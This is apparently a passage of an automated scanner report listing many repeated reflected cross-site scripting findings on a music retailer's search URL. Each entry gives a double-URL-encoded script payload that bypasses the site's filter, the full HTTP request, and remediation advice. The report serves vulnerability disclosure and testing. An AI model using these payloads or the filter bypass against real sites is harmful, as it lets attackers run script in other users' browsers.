The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27fd2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8f690810b46 was submitted in the REST URL parameter 3. This input was echoed as 27fd2"><script>alert(1)</script>8f690810b46 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cameo27fd2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8f690810b46&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9dbc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecf01457e40f was submitted in the REST URL parameter 3. This input was echoed as c9dbc"><script>alert(1)</script>cf01457e40f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camera%20Obscurac9dbc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecf01457e40f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 4c77b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebaf73ed124e was submitted in the REST URL parameter 3. This input was echoed as 4c77b</title><script>alert(1)</script>baf73ed124e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camera%20Obscura4c77b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebaf73ed124e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload f14bd%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef8d193011e was submitted in the REST URL parameter 3. This input was echoed as f14bd</title><script>alert(1)</script>f8d193011e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camp%20Lof14bd%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef8d193011e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3081c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7be6001c5ac was submitted in the REST URL parameter 3. This input was echoed as 3081c"><script>alert(1)</script>7be6001c5ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camp%20Lo3081c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7be6001c5ac&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9ef3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e20b1bcf624f was submitted in the REST URL parameter 3. This input was echoed as b9ef3"><script>alert(1)</script>20b1bcf624f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camper%20Van%20Beethovenb9ef3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e20b1bcf624f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 4cb53%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e54338b35555 was submitted in the REST URL parameter 3. This input was echoed as 4cb53</title><script>alert(1)</script>54338b35555 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camper%20Van%20Beethoven4cb53%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e54338b35555&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Camper Van Beethoven4cb53</title><script>alert(1)</script>54338b35555</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcf05%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e936827edfe was submitted in the REST URL parameter 3. This input was echoed as dcf05"><script>alert(1)</script>936827edfe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camper%20Van%20Chadbournedcf05%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e936827edfe&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 45350%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9e9b2c81899 was submitted in the REST URL parameter 3. This input was echoed as 45350</title><script>alert(1)</script>9e9b2c81899 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camper%20Van%20Chadbourne45350%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9e9b2c81899&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Camper Van Chadbourne45350</title><script>alert(1)</script>9e9b2c81899</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4602a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e52fca981ab6 was submitted in the REST URL parameter 3. This input was echoed as 4602a"><script>alert(1)</script>52fca981ab6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camu%20Tao4602a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e52fca981ab6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 2a5b5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2927d88952d was submitted in the REST URL parameter 3. This input was echoed as 2a5b5</title><script>alert(1)</script>2927d88952d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Camu%20Tao2a5b5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2927d88952d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 65603%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e50650aabab5 was submitted in the REST URL parameter 3. This input was echoed as 65603</title><script>alert(1)</script>50650aabab5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Can65603%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e50650aabab5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea5c0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef119ed9a7d2 was submitted in the REST URL parameter 3. This input was echoed as ea5c0"><script>alert(1)</script>f119ed9a7d2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canea5c0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef119ed9a7d2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload bc8f0%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e480ac429de0 was submitted in the REST URL parameter 3. This input was echoed as bc8f0</title><script>alert(1)</script>480ac429de0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canadabc8f0%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e480ac429de0&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f39f2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1796f582d98 was submitted in the REST URL parameter 3. This input was echoed as f39f2"><script>alert(1)</script>1796f582d98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Canadaf39f2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1796f582d98&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 321b4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e355ae165837 was submitted in the REST URL parameter 3. This input was echoed as 321b4</title><script>alert(1)</script>355ae165837 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candace%20Pederson321b4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e355ae165837&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54cbd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4ac25f5a8ae was submitted in the REST URL parameter 3. This input was echoed as 54cbd"><script>alert(1)</script>4ac25f5a8ae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candace%20Pederson54cbd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4ac25f5a8ae&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload d3a39%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e53c4a837866 was submitted in the REST URL parameter 3. This input was echoed as d3a39</title><script>alert(1)</script>53c4a837866 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candi%20Statond3a39%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e53c4a837866&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29567%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e19070c0b8ec was submitted in the REST URL parameter 3. This input was echoed as 29567"><script>alert(1)</script>19070c0b8ec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candi%20Staton29567%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e19070c0b8ec&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 4cfb7%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebd5d95a1ca4 was submitted in the REST URL parameter 3. This input was echoed as 4cfb7</title><script>alert(1)</script>bd5d95a1ca4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candie%20Hank4cfb7%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebd5d95a1ca4&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96840%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec0727089e40 was submitted in the REST URL parameter 3. This input was echoed as 96840"><script>alert(1)</script>c0727089e40 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candie%20Hank96840%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec0727089e40&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b7dab%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e41e17648200 was submitted in the REST URL parameter 3. This input was echoed as b7dab</title><script>alert(1)</script>41e17648200 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candlebox%20b7dab%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e41e17648200&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2433b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebc8ce133cab was submitted in the REST URL parameter 3. This input was echoed as 2433b"><script>alert(1)</script>bc8ce133cab in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candlebox%202433b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebc8ce133cab&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 305c7%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e14956eb823c was submitted in the REST URL parameter 3. This input was echoed as 305c7</title><script>alert(1)</script>14956eb823c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candlemass305c7%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e14956eb823c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41c7e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b265494035 was submitted in the REST URL parameter 3. This input was echoed as 41c7e"><script>alert(1)</script>2b265494035 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candlemass41c7e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b265494035&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload deb13%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea0276d94bb6 was submitted in the REST URL parameter 3. This input was echoed as deb13"><script>alert(1)</script>a0276d94bb6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Candy%20Barsdeb13%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea0276d94bb6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 54e69%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e993e8d654d2 was submitted in the REST URL parameter 3. This input was echoed as 54e69</title><script>alert(1)</script>993e8d654d2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
